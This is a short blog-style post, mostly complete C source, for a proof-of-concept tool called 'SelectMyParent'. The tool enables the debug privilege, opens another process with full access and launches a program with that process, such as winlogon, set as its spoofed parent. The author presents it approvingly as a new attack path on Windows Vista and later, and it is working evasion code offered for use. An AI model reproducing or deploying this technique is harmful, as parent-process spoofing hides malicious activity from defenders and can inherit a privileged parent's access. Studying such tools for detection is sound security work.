I ran across this POC code a few months ago. It allows a you to execute processes as a child process of other stuff. Wouldnt it be grand to have your programs run as child processes of system_idle_process or even winlogon?
Thanks to Visata, now you can! There’s a little feature added to the STARTUPINFOEX struct that allows you to specify a parent process. Oh Microsoft. I love it when you introduce new attack paths to your products. Works on Vista, windows server 2k3, 2k8, and windows 7.
#include "stdafx.h" #include <windows.h> void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError) { HLOCAL hlErrorMessage = NULL; if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR) &hlErrorMessage, 0, NULL)) { _tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR) LocalLock(hlErrorMessage)); LocalFree(hlErrorMessage); } } BOOL CurrentProcessAdjustToken(void) { HANDLE hToken; TOKEN_PRIVILEGES sTP; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) { CloseHandle(hToken); return FALSE; } sTP.PrivilegeCount = 1; sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) { CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return TRUE; } return FALSE; } int _tmain(int argc, _TCHAR* argv[]) { STARTUPINFOEX sie = {sizeof(sie)}; PROCESS_INFORMATION pi; SIZE_T cbAttributeListSize = 0; PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL; HANDLE hParentProcess = NULL; DWORD dwPid = 0; _putts(TEXT("SelectMyParent v0.0.0.1: start a program with a selected parent process")); if (argc != 3) _putts(TEXT("usage: SelectMyParent program pid")); else { dwPid = _tstoi(argv[2]); if (0 == dwPid) { _putts(TEXT("Invalid pid")); return 0; } InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize); pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize); if (NULL == pAttributeList) { DisplayErrorMessage(TEXT("HeapAlloc error"), GetLastError()); return 0; } if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize)) { DisplayErrorMessage(TEXT("InitializeProcThreadAttributeList error"), GetLastError()); return 0; } CurrentProcessAdjustToken(); hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (NULL == hParentProcess) { DisplayErrorMessage(TEXT("OpenProcess error"), GetLastError()); return 0; } if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) { DisplayErrorMessage(TEXT("UpdateProcThreadAttribute error"), GetLastError()); return 0; } sie.lpAttributeList = pAttributeList; if (!CreateProcess(NULL, argv[1], NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie.StartupInfo, &pi)) { DisplayErrorMessage(TEXT("CreateProcess error"), GetLastError()); return 0; } _tprintf(TEXT("Process created: %d\n"), pi.dwProcessId); DeleteProcThreadAttributeList(pAttributeList); CloseHandle(hParentProcess); } return 0; }